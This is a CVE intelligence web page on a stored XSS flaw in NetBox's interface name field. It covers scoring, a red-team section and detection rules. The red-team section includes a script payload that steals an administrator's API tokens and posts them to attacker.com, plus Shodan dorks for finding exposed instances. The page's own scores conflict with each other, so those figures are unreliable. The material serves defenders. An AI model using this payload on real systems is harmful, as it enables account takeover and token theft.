☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-40730

CVE-2024-40730 Cross-Site Scripting in Netbox
📅 PUBLISHED: 2024-07-09 00:00 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.40%
👁️
0.40% probability
9.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: v4.0.3 (likely < 4.0.4)
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-40730 is a stored Cross-Site Scripting (XSS) vulnerability in NetBox v4.0.3, specifically within the interface editing functionality. An authenticated attacker with sufficient privileges can inject arbitrary JavaScript or HTML into the Name parameter at /dcim/interfaces/{id}/edit/. This payload is stored and executed in the browsers of other users who view the affected interface, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 base score of 4.8 (Medium), with a low attack complexity but requiring user interaction and low privileges. No official patch has been released, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

NetBox is a Python/Django-based open-source application distributed via PyPI and GitHub. This vulnerability affects the core application logic, not a third-party package. However, organizations using NetBox should verify their deployment version and apply input sanitization as a temporary workaround.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Attacker needs a valid account with interface edit permissions.
  • User Interaction (UI): Required (R) – Victim must view the malicious interface.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium – Exploitation requires authentication and user interaction, but stored XSS can lead to significant downstream attacks.

Deep Dive & Mechanics

The vulnerability resides in the dcim/views.py or similar view handling the interface edit form. The Name field is not properly sanitized or escaped before being stored in the database and later rendered in HTML. When a user visits /dcim/interfaces/{id}/edit/ or views the interface details, the malicious payload is executed in the context of the victim's session.

Attack Flow:

  1. Attacker logs in with a low-privilege account that has permission to edit interfaces.
  2. Attacker navigates to /dcim/interfaces/{id}/edit/ and injects a payload like <script>alert('XSS')</script> into the Name field.
  3. The payload is stored in the database without sanitization.
  4. When an administrator or other user views the interface list or detail page, the script executes.
  5. The attacker can steal cookies, perform actions on behalf of the victim, or deface the interface.

Root Cause: Lack of output encoding in the template rendering the Name field, combined with insufficient input validation.

Vulnerable vs. Patched Code

Vulnerable Code (NetBox v4.0.3):

# views.py (simplified)
class InterfaceEditView(generic.UpdateView):
    model = Interface
    fields = ['name', 'type', ...]
    
    def form_valid(self, form):
        # No sanitization of form.cleaned_data['name']
        return super().form_valid(form)

Patched Code (Hypothetical fix):

# views.py (patched)
from django.utils.html import escape

class InterfaceEditView(generic.UpdateView):
    model = Interface
    fields = ['name', 'type', ...]
    
    def form_valid(self, form):
        # Sanitize input
        form.instance.name = escape(form.cleaned_data['name'])
        return super().form_valid(form)

Template Fix (Recommended):

<!-- interface_detail.html -->
<h1>{{ interface.name|escape }}</h1>

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • NetBox v4.0.3 instance
  • Valid user account with dcim.change_interface permission
  • Access to /dcim/interfaces/{id}/edit/

Exploit Payload:

<script>fetch('/api/users/tokens/', {credentials:'include'}).then(r=>r.json()).then(d=>fetch('https://attacker.com/steal',{method:'POST',body:JSON.stringify(d)}))</script>

Step-by-Step:

  1. Log in to NetBox as an attacker user.
  2. Navigate to an existing interface or create a new one.
  3. In the Name field, inject the payload above.
  4. Save the interface.
  5. Wait for an admin to view the interface list or detail page.
  6. The admin's API tokens are exfiltrated to the attacker's server.

Lab Setup:

# Clone vulnerable version
git clone https://github.com/netbox-community/netbox.git
cd netbox
git checkout v4.0.3

# Install dependencies
pip install -r requirements.txt

# Run development server
python manage.py runserver 0.0.0.0:8000

Blue Team (Detection & Defense)

Detection Steps:

  1. Monitor logs for unusual Name field values containing <script> or onerror attributes.
  2. Review database entries for interfaces with HTML/JavaScript in the name column.
  3. Use WAF rules to block XSS payloads in POST requests to /dcim/interfaces/*/edit/.

Mitigation Workaround:

# Add to settings.py or middleware
import re
from django.http import HttpResponseBadRequest

class XSSSanitizationMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response
    
    def __call__(self, request):
        if request.method == 'POST' and '/dcim/interfaces/' in request.path:
            name = request.POST.get('name', '')
            if re.search(r'<[^>]*script', name, re.I):
                return HttpResponseBadRequest("XSS detected")
        return self.get_response(request)

Indicators of Compromise (IOCs)

Network IOCs:

  • Outbound connections to unknown domains from NetBox server
  • POST requests to /dcim/interfaces/*/edit/ containing <script> tags

Host IOCs:

  • Database entries in dcim_interface table with name column containing HTML/JavaScript
  • Log entries showing name parameter with suspicious characters

File IOCs:

  • Modified templates with missing |escape filters
  • Custom middleware or views bypassing sanitization

Detection Engineering

YARA Rule

rule netbox_xss_cve_2024_40730 {
    meta:
        description = "Detects XSS payloads in NetBox interface name field"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-40730"
    
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
        $xss4 = /javascript\s*:/i
    
    condition:
        any of ($xss*)
}

Sigma Rule

title: NetBox XSS in Interface Name Field
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts in NetBox interface name parameter
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-40730
logsource:
    category: webserver
    product: netbox
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/dcim/interfaces/'
        cs-uri-query|contains: '/edit/'
        cs-request-body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in name field (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-40730 NetBox XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/dcim/interfaces/"; http_uri; content:"/edit/"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; pcre:"/onerror\s*=\s*["']?[^"'\s>]+/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Input Sanitization: Add server-side validation to strip or escape HTML tags from the Name field.
  2. Output Encoding: Ensure all templates use Django's |escape filter or {% autoescape on %}.
  3. WAF Rules: Deploy web application firewall rules to block XSS payloads.

Long-Term Fix:

  • Upgrade to a patched version once released (monitor NetBox GitHub releases).
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Conduct code review of all user-input fields for similar vulnerabilities.

Workaround Code:

# In forms.py
from django import forms
from django.utils.html import escape

class InterfaceForm(forms.ModelForm):
    class Meta:
        model = Interface
        fields = ['name', 'type', ...]
    
    def clean_name(self):
        name = self.cleaned_data['name']
        return escape(name)

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:NetBox
http.favicon.hash:-1776962843

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-40730/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.